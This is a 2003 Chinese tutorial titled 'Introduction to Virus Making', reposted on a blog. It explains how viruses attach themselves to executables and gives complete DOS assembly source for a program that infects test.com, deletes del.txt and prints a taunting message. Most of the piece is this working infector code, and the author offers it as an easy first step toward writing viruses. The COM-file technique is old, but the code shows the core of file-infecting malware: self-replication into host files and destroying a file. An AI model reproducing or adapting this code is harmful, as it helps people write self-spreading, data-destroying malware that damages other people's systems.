|
類別:技術(shù)文章 來(lái)源:未知 作者:づ★sl戰(zhàn)神 關(guān)鍵字:病毒 加入日期:2003-8-15 病毒制作初步 發(fā)布: づ★sl戰(zhàn)神 病毒的編寫是一種高深技術(shù),真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性?,F(xiàn)在的病毒種類也不少,如平常的傳染可執(zhí)行文件的病毒、宏病毒等等。但原始的、破壞性最大的病毒還是傳染可執(zhí)行文件的病毒(像CIH病毒),而這些病毒一般都是用匯編語(yǔ)言編寫的。有許多人對(duì)病毒有著好奇和向往,但是往往又因?yàn)閰R編語(yǔ)言的難學(xué)等問(wèn)題望而卻步。 這篇文章就是教給大家如何制作一個(gè)簡(jiǎn)單的程序,這個(gè)程序雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。 好啦,現(xiàn)在轉(zhuǎn)入正題,先講講病毒是如何傳染的,傳染后又如何在被染的文件中執(zhí)行的,其實(shí)道理非常簡(jiǎn)單:病毒一般將其代碼寫入執(zhí)行文件的尾部,然后使執(zhí)行文件在執(zhí)行時(shí)先執(zhí)行文件尾部的病毒代碼,然后再跳回原代碼處執(zhí)行。現(xiàn)在舉一個(gè)試?yán)M(jìn)行說(shuō)明: ;----------------------------------------- ;功能:感染當(dāng)前文件夾的test.com文件 ; 并刪除當(dāng)前文件夾的del.txt文件 ; 顯示預(yù)設(shè)的字符串 CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代碼開始處 vstart: POP SI ;得到當(dāng)前地址 MOV BP,SI ;保存當(dāng)前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;顯示預(yù)設(shè)字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個(gè)字節(jié) MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;開始復(fù)制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢復(fù)地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;寫文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個(gè)字節(jié) ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart ;準(zhǔn)備寫入病毒 MOV DX,SI MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI,BP ;定位到文件頭 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,40h ;將新的文件頭寫入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ;關(guān)閉文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB ‘M‘,0e9h,0,0 filename DB "test.com",0 delname DB "del.txt",0 message DB "He he he he!" DB 0dh,0ah,"$" vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start 以上就是一個(gè)簡(jiǎn)單的可以傳染COM文件的程序代碼, 也是想當(dāng)初我所做的具有傳染性質(zhì)的第一個(gè)程序。如何???不難吧。 附: COM文件執(zhí)行時(shí)將COM文件內(nèi)所的所有內(nèi)容COPY到內(nèi)存, 起始地址是100,然后進(jìn)行執(zhí)行 沒(méi)有任何有關(guān)節(jié)啦、段啦這些屬性,所以COM文件病毒是最簡(jiǎn)單最簡(jiǎn)單的病毒。 |
|
|
來(lái)自: 昵稱7917091 > 《電腦技術(shù)》